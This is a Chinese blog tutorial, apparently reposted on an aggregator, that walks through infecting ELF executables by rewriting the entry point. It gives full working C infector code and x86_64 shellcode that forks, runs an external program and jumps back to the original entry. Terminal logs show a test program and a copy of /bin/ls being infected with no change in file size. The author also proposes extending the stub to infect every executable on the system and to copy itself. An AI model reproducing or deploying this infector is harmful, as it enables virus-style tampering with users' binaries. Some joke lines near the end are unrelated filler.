修改ELF可执行文件entry入口感染一个程序
前面的文章在介紹如何將代碼注入Linux內核模塊的時候,我提到 “修改ELF文件或者PE文件的入口,讓它跳到自己的邏輯”這件事很容易。
真的很容易嗎?是的,真的很容易。本文就是要演示這個的。
還記得熊貓燒香病毒吧,包括它在內的早期計算機病毒都是靠這種方式來注入自己的代碼并實現自我復制的,當然,它不一定修改的是入口地址,但肯定是修改了ELF/PE文件。
若想修改ELF文件,我們先要了解ELF文件的結構,這個只需要花10分鐘大致瀏覽即可,本文不會花篇幅介紹ELF的相關概念。
<elf.h>頭文件里已經包含了足夠的數據結構和API供我們對ELF可執行文件進行修改,我們用就是了。
本文演示的例子很簡單,就是感染一個既有的LEF可執行文件,首先,我們先提供該可執行文件的代碼:
// hello.c int main() {printf("aaaaaaaaaaaaa\n"); }我們將它編譯成hello可執行文件。
接下來我們嘗試用另一個程序去修改它的入口,新的入口邏輯如下:
if (fork() == 0) {exec("/bin/aa"); } else {goto orig_entry; }我們肯定不能往ELF文件里直接注入C代碼,就好像我們不能往血管里注射拉面湯一樣。所以我們必須得到上述邏輯的匯編指令碼。
如何得到指令碼呢?
我們手工把上面的C邏輯寫成內聯匯編,然后在編譯成可執行文件,通過objdump就能查到匯編指令碼:
void func() {asm ("xor %rax, %rax;\n""mov $0x39, %al;\n" // fork的系統調用號"syscall; \n""test %eax, %eax;\n""je exec;\n""nop; nop; nop; nop; nop;\n" // jmp orig 的5字節占位指令,運行時待定"exec:\n""mov $0x61612f6e69622f, %r11;\n""push %r11\n;""mov $0x0, %edx;\n""mov $0x0, %rsi;\n""mov %rsp, %rdi;\n""mov $0x3b, %eax;\n" // 填入exec的系統調用號"syscall;\n""orig:\n"); }void main() {func(); }編譯好后通過objdump -D我們可以得到下面的指令:
00000000004004cd <func>:4004cd: 55 push %rbp4004ce: 48 89 e5 mov %rsp,%rbp4004d1: 48 31 c0 xor %rax,%rax4004d4: b0 39 mov $0x39,%al4004d6: 0f 05 syscall4004d8: 85 c0 test %eax,%eax4004da: 74 05 je 4004e1 <exec>4004dc: 90 nop4004dd: 90 nop4004de: 90 nop4004df: 90 nop4004e0: 90 nop00000000004004e1 <exec>:4004e1: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r114004e8: 61 61 004004eb: 41 53 push %r114004ed: ba 00 00 00 00 mov $0x0,%edx4004f2: 48 c7 c6 00 00 00 00 mov $0x0,%rsi4004f9: 48 89 e7 mov %rsp,%rdi4004fc: b8 3b 00 00 00 mov $0x3b,%eax400501: 0f 05 syscallOK,我們將其整理后,會得到下面的stub_code數組:
unsigned char stub_code[] ="\x48\x31\xc0" // xor %rax,%rax"\xb0\x39" // mov $0x39,%al"\x0f\x05" // syscall"\x85\xc0" // test %eax,%eax"\x74\x05" // je 40070c <__FRAME_END__+0x14>"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11"\x41\x53" // push %r11"\xba\x00\x00\x00\x00" // mov $0x0,%edx"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi"\x48\x89\xe7" // mov %rsp,%rdi"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax"\x0f\x05"; // syscall #define RELJMP 11原材料已經準備好,就等著將上面的數組里的字節碼注入到hello程序了。
在實施注入之前,說明兩點。
首先,注意上面的指令:
movabs $0x61612f6e69622f,%r11 push %r11 mov %rsp,%rdi很明顯,按照x86_64的函數調用參數規范,rdi寄存器里就是exec系統調用的第一個參數,即 “/bin/aa” ,但是exec的參數準備極其麻煩,且需要一個字符串,而我們知道,字符串是保存在ELF文件的單獨的節的,我不想那么麻煩,再注入一個字符串,我只想注入一段代碼,僅僅是代碼,所以我這里取了個巧:
// 我將字符串編碼到了一個long型的數字里。 char name[8] = {'/', 'b', 'i', 'n', '/', 'a', 'a', 0}; char *pname; unsigned long pv = *(unsigned long *)&name[0]; // 0x61612f6e69622f,即 aa/nib/,小端轉換為/bin/aa pname = (char *)&pv; // pname就是aa同時,我利用了push來使得該long型數字的指針保存在rsp中,這樣只需要下面的操作,rdi寄存器里就是exec的第一個參數了:
push %r11 mov %rsp,%rdi如此一來,就省去了復雜的字符串的保存和操作。好玩嗎?在繼續之前,/bin/aa到底是什么有必要揭露一下,它其實很簡單,就是打印一句話:
int main() {printf("rush tighten beat electric discourse\n"); // “趕緊打電話”的意思 }我們希望的效果就是,所有被感染的程序(在我們的例子中,就是hello),在執行的時候,都會打印這么一句“趕緊打電話”的句子。
OK,讓我們繼續。
是時候給出修改entry的代碼了,還是那句話,我不敢保證這個代碼完全沒有bug,但它足夠簡單,且能工作,為了展示效果,簡單是最重要的。
代碼如下:
#include <stdio.h> #include <fcntl.h> #include <string.h> #include <sys/mman.h> #include <elf.h>unsigned char stub_code[] ="\x48\x31\xc0" // xor %rax,%rax"\xb0\x39" // mov $0x39,%al"\x0f\x05" // syscall"\x85\xc0" // test %eax,%eax"\x74\x05" // je 40070c <__FRAME_END__+0x14>"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11"\x41\x53" // push %r11"\xba\x00\x00\x00\x00" // mov $0x0,%edx"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi"\x48\x89\xe7" // mov %rsp,%rdi"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax"\x0f\x05"; // syscall #define RELJMP 11int main(int argc, char **argv) {int fd, i;unsigned char *base;unsigned int size, *off, offs;unsigned long stub, orig;unsigned long clen = sizeof(stub_code);Elf64_Ehdr *ehdr;Elf64_Phdr *phdrs;// 這就是一個e9 jmp rel32指令stub_code[RELJMP] = 0xe9;off = (unsigned int *)&stub_code[RELJMP + 1];fd = open(argv[1], O_RDWR);size = lseek(fd, 0, SEEK_END);base = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);ehdr = (Elf64_Ehdr *) base;phdrs = (Elf64_Phdr *) &base[ehdr->e_phoff];shdrs = (Elf64_Shdr *) &base[ehdr->e_shoff];orig = ehdr->e_entry;for (i = 0; i < ehdr->e_phnum; ++i) {if (phdrs[i].p_type == PT_LOAD && phdrs[i].p_flags == (PF_R|PF_X)) {// 這里假設只有簡單的一個可執行的程序頭stub = phdrs[i].p_vaddr + phdrs[i].p_filesz;ehdr->e_entry = (Elf64_Addr)stub;// 為了跳回原來的入口,這里需要計算相對偏移offs = orig - (stub + RELJMP) - 5;// 待定的rel32終究被賦值了*off = offs;memcpy(base + phdrs[i].p_offset + phdrs[i].p_filesz, stub_code, clen);printf("fsie:%d %08x\n", phdrs[i].p_filesz, ehdr->e_entry);phdrs[i].p_filesz += clen;phdrs[i].p_memsz += clen;break;}}munmap(base, size); }開始吧!來吧!
[root@localhost modentry]# cat test-1 gcc hello.c -o hello gcc modelf.c -o modelf ./modelf ./hello [root@localhost modentry]# ./test-1 hello.c: 在函數‘main’中: hello.c:3:2: 警告:隱式聲明與內建函數‘printf’不兼容 [默認啟用]printf("aaaaaaaaaaaaa\n");^ fsie:1788 004006fc [root@localhost modentry]# ./hello aaaaaaaaaaaaa rush tighten beat electric discourse [root@localhost modentry]# ./hello aaaaaaaaaaaaa [root@localhost modentry]# rush tighten beat electric discourse[root@localhost modentry]# ./hello aaaaaaaaaaaaa [root@localhost modentry]# rush tighten beat electric discourse成功感染!
讓我們感染一個系統的命令看如何:
[root@localhost modentry]# cp /bin/ls ./ [root@localhost modentry]# ./modelf ./ls fsie:103980 0041962c [root@localhost modentry]# ./ls hello hello.c ls modelf modelf.c nop pwd test-1 rush tighten beat electric discourse成功感染!
我上面的感染代碼非常簡單,你可能覺得是錯的。沒錯,它就是錯的,因為它寄希望于程序后面有空余的空間,我甚至沒有修改section的大小和文件的大小,我們發現,在注入感染前后,文件的大小并沒有變化,而且還有更好 副作用 :
[root@localhost modentry]# /bin/ls hello hello.c ls modelf modelf.c nop pwd test-1 [root@localhost modentry]# objdump -D /bin/ls >./lsdump1 [root@localhost modentry]# ./ls hello hello.c ls lsdump1 modelf modelf.c nop pwd test-1 rush tighten beat electric discourse [root@localhost modentry]# objdump -D ./ls >./lsdump2 [root@localhost modentry]# [root@localhost modentry]# diff lsdump1 lsdump2 2c2 < /bin/ls: 文件格式 elf64-x86-64 --- > ./ls: 文件格式 elf64-x86-64我們看到,其objdump的結果沒有任何區別。而如果我們把程序做完善了,反而更容易暴露,如果我在modelf.c中增加adjust sections size的操作,那么可執行文件被感染之后,objdump的結果將會多出下面的內容:
00000000004006f8 <__FRAME_END__>:4006f8: 00 00 add %al,(%rax)4006fa: 00 00 add %al,(%rax)4006fc: 48 31 c0 xor %rax,%rax4006ff: b0 39 mov $0x39,%al400701: 0f 05 syscall400703: 85 c0 test %eax,%eax400705: 74 05 je 40070c <__FRAME_END__+0x14>400707: e9 24 fd ff ff jmpq 400430 <_start>40070c: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r11400713: 61 61 00400716: 41 53 push %r11400718: ba 00 00 00 00 mov $0x0,%edx40071d: 48 c7 c6 00 00 00 00 mov $0x0,%rsi400724: 48 89 e7 mov %rsp,%rdi400727: b8 3b 00 00 00 mov $0x3b,%eax40072c: 0f 05 syscall仔細看,是不是我們注入的代碼呢?
最后,我要解釋一下,為什么要調用exec執行外部程序呢?直接把代碼灌進去不是更直接嗎?
是的,這個我肯定知道,但是:
然而,我的目標已經彰顯,如果不怕費事,完全可以在stub_code里塞入下面的邏輯:
- 掃描系統所有的可執行文件,注入每一個可執行文件本文展示的代碼。
- 代碼添加自我復制功能。
為經理下訂單,購買¥18000的皮鞋以及¥49800的西褲,貨到付款。
浙江溫州皮鞋濕,下雨進水不會胖。
總結
以上是生活随笔為你收集整理的修改ELF可执行文件entry入口感染一个程序的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 使用moviepy.editor剪辑视频
- 下一篇: a标签置灰不可点击